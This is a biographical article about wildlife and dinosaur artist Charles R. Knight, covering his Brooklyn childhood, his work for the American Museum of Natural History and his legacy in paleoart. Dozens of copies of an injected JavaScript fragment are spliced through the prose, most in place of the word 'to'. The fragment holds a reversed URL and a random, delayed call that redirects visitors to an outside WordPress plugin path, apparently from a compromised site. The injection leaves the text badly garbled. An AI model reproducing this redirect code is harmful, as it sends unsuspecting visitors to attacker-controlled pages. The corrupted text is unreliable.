Charles R. Knight (1874-1953)

Born in 1870s Brooklyn and classified as legally blind for most of his life, Charles R. Knight was probably one of the least likely candidates for becoming a wildlife artist.  Nevertheless, with an innate love for animals and a persistence at his work - mixed with a healthy dose of serendipity - Knight would become world-reknown, and esteemed peers in his field, including Jean-Léon Gérôme and Emmanuel Frémiet, would come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to declare Knight's drawings of animals, birds, and reptiles, "the most perfect they had ever seen."¹ 

Though it may seem unlikely now, late 19th century metropolitan New York was a place of many opportunities for a child in love with animals.  Nationally, it was a period dedicated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to animal discovery:  Charles Darwin had only recently published his book Descent of Man, the "Bone Wars" between paleontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tologists Edward Cope and Othniel Marsh were raging in the American West, and conservationists like Theodore Roosevelt were raising concerns that certain species of wildlife were facing extinction if steps toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect them were not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be taken.  Locally, these activities bolstered museums, such as the American Museum of Natural Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, which filled its halls with dinosaur skeletoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons and taxidermic animals from around the world;  and fostered zoos, such as the Bronx Zoological Park, which sought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to inspire visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors with an active appreciation of nature and wildlife.  If animals were a ripe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topic, then New York City, with its intellectuals, universities, philanthropic organizations, and media outlets, was the center of the garden.

Knight, who fell in love with animals through the illustrations he saw in his family's household dictionary, was fortunate that his father indulged the boy in his interests.  Frequently, Knight and his father would travel intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Manhattan and attend the Central Park Zoo and the American Museum of Natural Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, which Knight described as more or less satisfying his "juvenile yearnings," while at the same time gradually training his eyes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to observe with ever-increasing accuracy just what shapes and figures constituted the animal life in the world about himself.²  But though these institutions were open toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the public, Knight's visits, particularly those toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Museum of Natural Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, were far different from the experiences of the ordinary museum-goer.  The young Knight, as the child of an employee of J.P. Morgan (Knight's father was Morgan's private secretary, and Morgan was the treasurer of the museum), had access toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the museum on Sundays, when it was closed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the public, and he had free roam backstairs where he could watch the exhibition builders and taxidermists at work.  It was an intense immersion which likely gave the young man knowledge far beyond his seniors already drawing wildlife.

As a teen, he attended the Metropolitan Museum of Art School, and also the School of Visual Arts, both in Manhattan, and by age sixteen, he had left home and was earning his living as an artist.  He began working for a stained glass studio where he was regularly assigned toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to design animal panels, and his illustrations of animals began appearing in all of the popular magazines of the day.  But it was one particular chance assignment when he was 20 which would set him apart, and set the course for his artistic output for the reminder of his career.

In 1894, during one of his many visits toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the the Museum of Natural Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, a friend in the taxidermy studio named John Rowley mentioned toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Knight that there was an in-house project that might be of interest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to him.  "There was a man named Dr. Wortman here yesterday, from upstairs in the Fossil Department," offered Rowley, "and he was looking for someone who might make him a drawing of a pre-histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric animal.  I said I believed you could do it, so why don't you go up and see him?"³  The result was a black and white watercolor of an Elotherium (also known as Entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolodon), an extinct, pig-like creature which died out in the Oligocene period, and the painting was so successful at bringing life toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the fossilized remains, that Knight became inseparable from the museum's "restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration" team.  It was a major advancement in paleontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tology, and Knight's re-imagined extinct creatures – in combination with the museum's radical decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mount their fossils in life-like poses, rather than toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to present them as they had been found, still imbedded in rock – created a wild surge of interest in pre-histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric life.

With his advanced knowledge of animal skeletal and muscular systems, and a preternatural understanding of animal psychology gleaned from years of observation, Knight was able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to set the standard for re-creating extinct life in drawing, painting, and sculpture.  His collaborations with scientists over the next 40 years were groundbreaking, and were responsible for influencing the way the public perceives dinosaurs, from the average T-rex-loving 5-year-old, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the special effects teams working on the multi-million dollar, creature films of toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.

By the 1950s, Knight's progressively worsening eyesight had plunged him intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a world of darkness.  No longer able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to produce artwork, he slipped intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a deep depression, and in 1953, at the age of 79, he suffered his final heart attack and passed away.  And though his name was rather quickly forgotten, his legacy was not;  he is without question the father of Paleoart, and his influence is still felt worldwide.

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